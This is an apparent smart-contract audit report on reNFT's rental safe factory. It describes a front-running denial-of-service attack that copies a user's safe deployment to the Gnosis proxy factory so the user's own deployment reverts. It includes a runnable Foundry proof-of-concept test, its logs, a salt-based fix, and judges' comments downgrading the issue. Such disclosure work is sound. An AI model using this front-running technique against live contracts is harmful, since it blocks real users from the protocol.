Creation of a Gnosis Safe via Factory::deployRentalSafe Can be Blocked

[c4-bot-3]

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Factory.sol#L138-L193

Vulnerability details

Impact

According to the current implementation, before a renter, let's call him Charlie can fulfil a lend order, Charlie has to have deployed a Gnosis safe via a call to Factory::deployRentalSafe function.
This created safe will hold the rented NFT for the entire rent duration.

There is currently a possible denial of service risk for users who intend to rent an NFT in the protocol.

Attack Path:

• 1. Charlie calls Factory::deployRentalSafe
• 2. Bob notices Charlie's txn, then copies the txn data, but tweaks the call data to instead call Gnosis Safe Factory::createProxyWithNonce function directly offering a higher gas price.

• 3. Bob's transaction gets executed successfully, thus creating a safe for Charlie
• 4. Charlie's transaction fails.

The effect of this is that, when the safe is created via reNft Factory::deployRentalSafe function, the safe is stored in the Storage module as a protocol deployed safe:

        // Store the deployed safe.
        STORE.addRentalSafe(safe);

But since Bob created the safe for Charlie via a direct call to Gnosis factory, when Charlie attempts to create a rental, there will be a revert during execution at:
https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L649-L650

    function _isValidSafeOwner(address owner, address safe) internal view {
        // Make sure only protocol-deployed safes can rent.
        if (STORE.deployedSafes(safe) == 0) {
            revert Errors.CreatePolicy_InvalidRentalSafe(safe);
        }


        // Make sure the fulfiller is the owner of the recipient rental safe.
        if (!ISafe(safe).isOwner(owner)) {
            revert Errors.CreatePolicy_InvalidSafeOwner(owner, safe);
        }
    }

Proof of Concept

• I have added a runnable POC demonstrating the issue below:

Please add the below test to /smart-contracts/test/unit/Factory.t.sol, then import import {ISafe} from "@src/interfaces/ISafe.sol"; and then run:

forge test -vvv --match-path test/unit/Factory.t.sol --match-test test_DOSSSS

    function test_DOSSSS() public {
        //This test case shows how copying and front-running users safe deploy txns via the protocol factory contract can be DoSed

        // Define owners
        address[] memory owners = new address[](1);
        owners[0] = alice.addr;

        // Define threshold
        uint256 threshold = 1;

        //stop and guard are initialized in '/test/fixtures/protocol/Protocol.sol'
        bytes memory data = abi.encodeCall(
            factory.initializeRentalSafe,
            (address(stop), address(guard))
        );

        // Create the used gnosis initializer payload for Alice's call
        //factory and tokenCallbackHandler are initialized in '/test/fixtures/protocol/Protocol.sol'
        bytes memory initializerPayload = abi.encodeCall(
            ISafe.setup,
            (
                // owners array.
                owners,
                // number of signatures needed to execute transactions.
                threshold,
                // Address to direct the payload to.
                address(factory),
                // Encoded call to execute.
                data,
                // Fallback manager address.
                address(tokenCallbackHandler),
                // Payment token.
                address(0),
                // Payment amount.
                0,
                // Payment receiver
                payable(address(0))
            )
        );

        address safe = address(
            safeProxyFactory.createProxyWithNonce(
                address(safeSingleton),
                initializerPayload,
                uint256(keccak256(abi.encode(STORE.totalSafes() + 1, block.chainid)))
            )
        );

        //assert that the address of the safe created is non zero.

        //for create2 address(0), will be returned if the call fails due to
        //OOG or if a contract already exists in the determined address
        assertTrue(safe != ZERO_ADDRESS);

        vm.expectRevert("Create2 call failed");
        vm.prank(alice.addr);
        // Deploy the safe with a threshold of 1
        factory.deployRentalSafe(owners, threshold);
    }

Here are the logs:

[⠆] Compiling...
[⠔] Compiling 1 files with 0.8.22
[⠒] Solc 0.8.22 finished in 30.15sCompiler run successful!
[⠑] Solc 0.8.22 finished in 30.15s

Running 1 test for test/unit/Factory.t.sol:Factory_Unit_Test
[PASS] test_DOSSSS() (gas: 8797746687696170933)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 20.47ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review && Foundry

Recommended Mitigation Steps

Allow users to pass an extra bytes32 salt parameter in Factory::deployRentalSafe function, this salt should be used as an extra input for generating the salt nonce passed on to safeProxyFactory.createProxyWithNonce. e.g:

 uint256(keccak256(abi.encode(STORE.totalSafes() + 1, block.chainid, salt)))//<<@

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Factory.sol#L180-L186

Assessed type

DoS

[c4-pre-sort]

141345 marked the issue as duplicate of #443

[c4-judge]

0xean marked the issue as satisfactory

[c4-judge]

0xean changed the severity to QA (Quality Assurance)